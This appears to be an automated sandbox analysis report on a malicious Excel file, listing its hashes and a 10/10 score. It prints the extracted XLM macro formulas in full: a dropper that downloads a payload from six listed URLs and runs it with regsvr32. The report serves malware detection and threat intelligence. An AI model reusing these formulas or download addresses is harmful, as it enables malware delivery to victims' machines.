General

  • Target

    e818f58319fe2ffbf86232c3cbbf6bf0d3b272ab8a6d925f79a130ccd6a691ec

  • Size

    46KB

  • Sample

    241120-3whg1awbpf

  • MD5

    bdc77a843e5ca808ac6bc85cd13bbfa7

  • SHA1

    54dff0dc6ab9feb10914889fb2ed9a8c2ca5c72c

  • SHA256

    e818f58319fe2ffbf86232c3cbbf6bf0d3b272ab8a6d925f79a130ccd6a691ec

  • SHA512

    3971150d37171f9777bc1dd8956ccf7ebc2bf39f97fa3502fcc94b28b99262f03f7cd6f80b4ac2305c18ddc03e38f77cd841187c55ab2accfc23b8d06426bfa7

  • SSDEEP

    768:6o9DOevZCwrvtOzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPPDks:6o9D+tT5fTR4Lh1NisFYBc3cr+UqVnDZ

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/

https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/

https://aplicativos.xyz/apk/49Wq5MN/

http://www.equus.com/2i8yt/0kWhkppl8oTFCeYu9gS/

http://prevozkop.rs/qnov/n017r0EEa/

https://businessandhr.com/w/xrB/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aplicativos.xyz/apk/49Wq5MN/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.equus.com/2i8yt/0kWhkppl8oTFCeYu9gS/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://prevozkop.rs/qnov/n017r0EEa/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://businessandhr.com/w/xrB/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/

xlm40.dropper

https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/

Targets

    • Target

      e818f58319fe2ffbf86232c3cbbf6bf0d3b272ab8a6d925f79a130ccd6a691ec

    • Size

      46KB

    • MD5

      bdc77a843e5ca808ac6bc85cd13bbfa7

    • SHA1

      54dff0dc6ab9feb10914889fb2ed9a8c2ca5c72c

    • SHA256

      e818f58319fe2ffbf86232c3cbbf6bf0d3b272ab8a6d925f79a130ccd6a691ec

    • SHA512

      3971150d37171f9777bc1dd8956ccf7ebc2bf39f97fa3502fcc94b28b99262f03f7cd6f80b4ac2305c18ddc03e38f77cd841187c55ab2accfc23b8d06426bfa7

    • SSDEEP

      768:6o9DOevZCwrvtOzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPPDks:6o9D+tT5fTR4Lh1NisFYBc3cr+UqVnDZ

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks